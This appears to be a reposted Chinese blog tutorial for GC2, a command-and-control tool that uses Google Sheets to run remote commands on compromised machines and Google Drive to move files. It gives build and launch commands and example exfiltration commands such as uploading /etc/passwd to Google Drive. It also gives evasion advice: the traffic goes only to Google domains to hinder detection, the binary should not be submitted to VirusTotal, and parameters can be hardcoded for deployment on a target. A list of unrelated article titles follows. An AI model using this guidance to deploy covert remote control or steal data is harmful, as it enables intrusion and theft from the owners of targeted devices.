GC2是什麼工具
GC2是一款功能強大的命令控制應用工具,該工具將允許廣大安全研究人員或滲透測試人員使用Google Sheet來在目標裝置上執行遠端控制命令,並使用Google Drive來提取目標裝置中的敏感資料。
值得一提的是,該工具可以直接提供命令控制服務,而無需進行其他額外的安裝和配置,因此可以大大提高紅隊滲透活動的效率。除此之外,這款工具只能跟Google的域名(*. http:// google.com )互動,因此也增加了檢測GC2的難度。
請注意:千萬不要將已編譯好的程式碼上傳到VirusTotal上!
功能介紹
使用Google Sheet作為終端視窗來實現命令控制與命令執行。
使用Google Drive向目標主機傳輸和下載檔案。
使用Google Drive從目標主機中提取資料。
退出執行。
工具執行流程
工具安裝&配置
第一步:使用下列命令將該專案原始碼克隆至本地,然後構建專案程式碼:
git clone
cd GC2-sheet
go build gc2-sheet.go
第二步:建立一個新的Google “服務賬號”,此時我們需要點選 https:// console.cloud.google.com / 來建立該服務賬號所需的.json金鑰檔案。
第三步:啟用Google Sheet API和Google Drive API。
第四步:配置Google Sheet和Google Drive。建立一個新的Google Sheet,並新增服務賬號至spreadsheet的Editor組:
建立一個新的Google Drive資料夾,並將服務賬號新增進這個資料夾的Editor組中:
第五步:使用下列命令啟動GC2:
gc2-sheet --key <GCP service account credential file .JSON > --sheet <Google sheet ID> --drive <Google drive ID>
注意事項:你可以將引數以硬編碼的形式寫入進程式碼中,並只將可執行程式上傳至目標裝置上。
工具使用
命令執行
GC2每五秒會向spreadsheet傳送一次請求,並檢查是否存在未執行的新命令。命令必須插入值請求中的“A”欄位記錄中,而命令輸出結果將儲存在“B”欄位中。
資料提取
我們可以使用指定的命令來在目標裝置上執行檔案上傳或下載任務:
From Target to Google Drive
upload;<remote path>
Example:
upload;/etc/passwd
下載檔案
我們可以使用指定的命令來在目標裝置上執行檔案上傳或下載任務:
From Google Drive to Target
download;<google drive file id>;<remote path>
Example:
download;<file ID>;/home/user/downloaded.txt
退出執行
透過傳送“exit”命令,GC2將會從目標裝置上遠端刪除自身程式碼,並終止自身程式的執行。注意,如果開啟程式時使用了符號連結,那麼命令執行結果可能會是符號連結或路徑所指向的目標,從而導致刪除錯誤的目標。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/70023145/viewspace-2925711/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- Gitlab是什麼工具Gitlab
- 什麼是5S工具?
- 資料採集工具是什麼
- 什麼是報表工具?和 EXCEL 有什麼區別?Excel
- 什麼是t800遠端工具
- 運維日誌審計是什麼意思?用什麼工具好?運維
- ETL 是什麼 ETL 工具有哪些 ETL 工具對比 engine
- 什麼是cookie,什麼是sessionCookieSession
- 這是什麼這是什麼
- 什麼是分而治之?什麼是WBS?
- 什麼是DNS,什麼是HostsDNS
- 什麼是WebAuthn、FIDO 是什麼?Web
- 運維工程師核心工作是什麼?用什麼運維工具好?運維工程師
- 日誌脫敏是什麼意思?為什麼要做日誌脫敏?用什麼工具好?
- 網路安全工具Nmap是什麼?有何功能?
- ###什麼是Linux核心###什麼是MMULinux
- ITIL是什麼意思?ITIL是什麼?
- SNP全稱是什麼? SNP是什麼公司? SNP是什麼意思?
- 人是什麼?人生是什麼?人為什麼會變?
- ftp是什麼,ftp是什麼東西?FTP
- 什麼是正向代理?什麼是反向代理?
- NLA是什麼?NLA的原理是什麼?
- Java是什麼_Java是做什麼的?Java
- 遊戲開發工具的真正價值是什麼?遊戲開發
- 為什麼SOLIDWORKS Flow Simulation是最好的熱分析工具Solid
- 什麼是this
- 為什麼要有 Servlet ,什麼是 Servlet 容器,什麼是 Web 容器?ServletWeb
- 什麼是框架?為什麼說 Angular 是框架?框架Angular
- IDFA、IMEI、OAID 是什麼,區別是什麼AI
- GNU是什麼?和Linux是什麼關係?Linux
- 什麼是SSRF攻擊?SSRF用途是什麼?
- 什麼是API介面,具體是什麼意思?API
- DRBD是什麼意思?優缺點是什麼?
- 什麼是塊元素?什麼是行內元素?
- 什麼是Tornado?它的特點是什麼?
- rdo遠端桌面管理工具,rdo遠端桌面管理工具能做什麼,操作步驟是什麼
- rdo遠端桌面管理工具,rdo遠端桌面管理工具能做什麼,使用步驟是什麼
- 為什麼用抓包工具看HTTPS包是明文的HTTP